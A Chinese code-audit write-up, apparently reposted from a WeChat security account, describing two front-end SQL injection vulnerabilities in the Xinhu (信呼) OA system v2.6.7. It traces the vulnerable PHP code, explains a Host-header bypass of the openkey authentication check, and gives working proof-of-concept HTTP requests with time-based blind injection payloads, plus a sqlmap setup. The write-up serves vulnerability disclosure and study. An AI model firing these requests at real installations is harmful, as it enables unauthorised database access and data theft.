信呼OA v2.6.7 SQL注入漏洞
系统介绍
信呼,免费开源的办公OA系统,包括APP,pc上客户端,REIM即时通信,服务端等,让每个企业单位都有自己的办公系统。
官网:http://www.rockoa.com
路由分析
抓一个登录请求包分析
其中a是方法 m是目录 如果有多层目录则 d是最外层目录 m由 文件名|目录 组成
漏洞点一 (存在 ip限制)
源码分析
在文件中分析代码找到webmain/task/openapi/opendkqAction.php的addkqjs方法 调用了insert方法
private function addkqjs($sn)
{
$uarr = array(
'pinpai'=> '1',
'num'=> $sn,
'name'=> $sn,
'comid' => '1',
'optdt' => $this->now
);
$uarr['id'] = m('kqjsn')->insert($uarr);
return $uarr;
}
一步步跟进去查看insert方法 确认传入的值被带入到sql语句中执行了sql
public function insert($arr)
{
$nid = 0;
if($this->record($arr, ''))$nid = $this->db->insert_id();
return $nid;
}
// include/class/mysql.php
public function record($arr, $where='')
{
return $this->db->record($this->table, $arr, $where);
}
public function record($table,$array,$where='')
{
$addbool = true;
if(!$this->isempt($where))$addbool=false;
$cont = '';
if(is_array($array)){
foreach($array as $key=>$val){
$cont.=",`$key`=".$this->toaddval($val)."";
}
$cont = substr($cont,1);
}else{
$cont = $array;
}
$table = $this->gettables($table);
if($addbool){
$sql="insert into $table set $cont";
}else{
$where = $this->getwhere($where);
$sql="update $table set $cont where $where";
}
return $this->tranbegin($sql);
}
private function tranbegin($sql)
{
//if($this->errorbool)return false;
if($this->conn == null)$this->connect();
$this->iudcount++;
if(!$this->tran){
//$this->starttran();
//$this->tran=true; }
$rsa = $this->query($sql);
$this->iudarr[]=$rsa;
if(!$rsa)$this->errorbool = true;
return $rsa;
}
接下来就往上看哪里调用addkqjs方法传值 $sn 在同文件内 找到了senddata 调用了这个方法
private function senddata($type)
{
$str = $this->postdata;
if(isempt($str))$this->showreturn('', 'not data', 201);
$arr = json_decode($str, true);
$oi = 0;$uarr = array();$finarr = array();
$dtobj = c('date');$adb = m('admin');$db = m('kqdkjl');$uobj = m('userinfo');
$updt = '';
$cheobj = c('check');
$snarr = array();
if($type==9){
$snarr = $this->db->getarr('[Q]kqjsn','`pinpai`=1','`id`,`name`','num');
}
$datype = array('密码','指纹','刷卡');
if(is_array($arr))foreach($arr as $k=>$rs){
$name = isset($rs['name']) ? $rs['name'] : '';
$dkdt = isset($rs['dkdt']) ? $rs['dkdt'] : '';
$finge= isset($rs['finge']) ? $rs['finge'] : '';
$name = str_replace("'",'', $name);
$uid = 0;
$snid = 0;
$sntype = 1;
$comid = 0;
$explain = '';
if($type==9){
$sn = arrvalue($rs, 'sn');
if(!$sn)continue;
$snrs = arrvalue($snarr, $sn);
if(!$snrs){
$snrs = $this->addkqjs($sn);
$snarr[$sn] = $snrs;
}
继续分析代码$sn 由arrvalue方法取自传入的第一参数的 一个key为sn的valen值
$sn = arrvalue($rs, 'sn');
functionarrvalue($arr, $k, $dev='')
{
$val = $dev;
if(isset($arr[$k]))$val= $arr[$k];
return $val;
}
继续分析代码 得知想要执行到这里 需要$type 等于9且 $rs 来自于 $arr 的value 然后 $arr 又来自于 json解码后的 $str $str来自于 传入的post请求体 是可控的
最后查找调用 senddata 被 同文件下的 zktimeAction 调用 同时也传入了9 满足上面的 $type =9
public function zktimeAction()
{
//9中控
$carr = $this->senddata(9);
echo $carr['updt'];
}
继续看代码发现 这个类的父类中存在一个鉴权 但是分析代码可知 Host 是127.0.0.1 或 192.168.x.x 的范围就可以绕过验证 。
public function initAction()
{
$this->display= false;
$openkey = $this->post('openkey');
$this->openkey = getconfig('openkey');
if($this->keycheck && HOST != '127.0.0.1' && !contain(HOST,'192.168') && $this->openkey != ''){
if($openkey != md5($this->openkey))$this->showreturn('', 'openkey not access', 201);
}
$this->getpostdata();
}
按照路由构造请求url
/index.php?m=opendkq|openapi&d=task&a=zktime
按照sn的取值 构造两层json
{"cn":{"sn":"123"}}
host 为127.0.0.1
漏洞利用
poc
POST /index.php?m=opendkq|openapi&d=task&a=zktime HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=p4idg1a6f9b059t7laum6m333o; deviceid=1733809734848
Connection: close
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
{"cn":{"sn":"123' and sleep(3)#"}}
sqlmap
sqlmap 结合burp 修改host
POST /index.php?m=opendkq|openapi&d=task&a=zktime HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=p4idg1a6f9b059t7laum6m333o; deviceid=1733809734848
Connection: close
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
{"cn":{"sn":"123'*"}}
漏洞点二 (存在 ip限制)
源码分析
webmain/task/openapi/openbaseAction.php
看getpostarr()方法可以分析出 传入的post值需要为json格式
继续分析下面的代码传入的参数basemodenum 赋值给了 $modenum baseoptid参数 赋值给了 $adminid 但是经过了过滤 无法传入单引号等内容
在21行代码中调用getuserid方法对 $adminid 参数进行了查询 并且在22行代码可以得知 需要让21行的查询获得数据 不然会直接报错终止
根据查看sql语句可以得知 查询的内容在admin表中 分析可知 最简单方法的就是传入一个1 即可
继续分析代码 查看querydata方法获得了三个参数做了什么操作 看代码发现 在方法中将传入的 $modenum 也就是 $num 传入了initflow方法中
继续跟进initflow方法 发现又被传入了initdata 方法中
在这里 $num 的值被添加到了sql的一个条件语句中被执行 其中无任何限制 这样我们就可以开始构造poc 进行利用
漏洞利用
poc
POST /index.php?m=openbase%7Copenapi&d=task&a=querydata HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Cookie:
{"baseoptid":"1","basemodenum":"a123456' OR SLEEP(0.01)#"}
原文始发于微信公众号(船山信安):php代码审计篇 - 信呼OA 前台注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论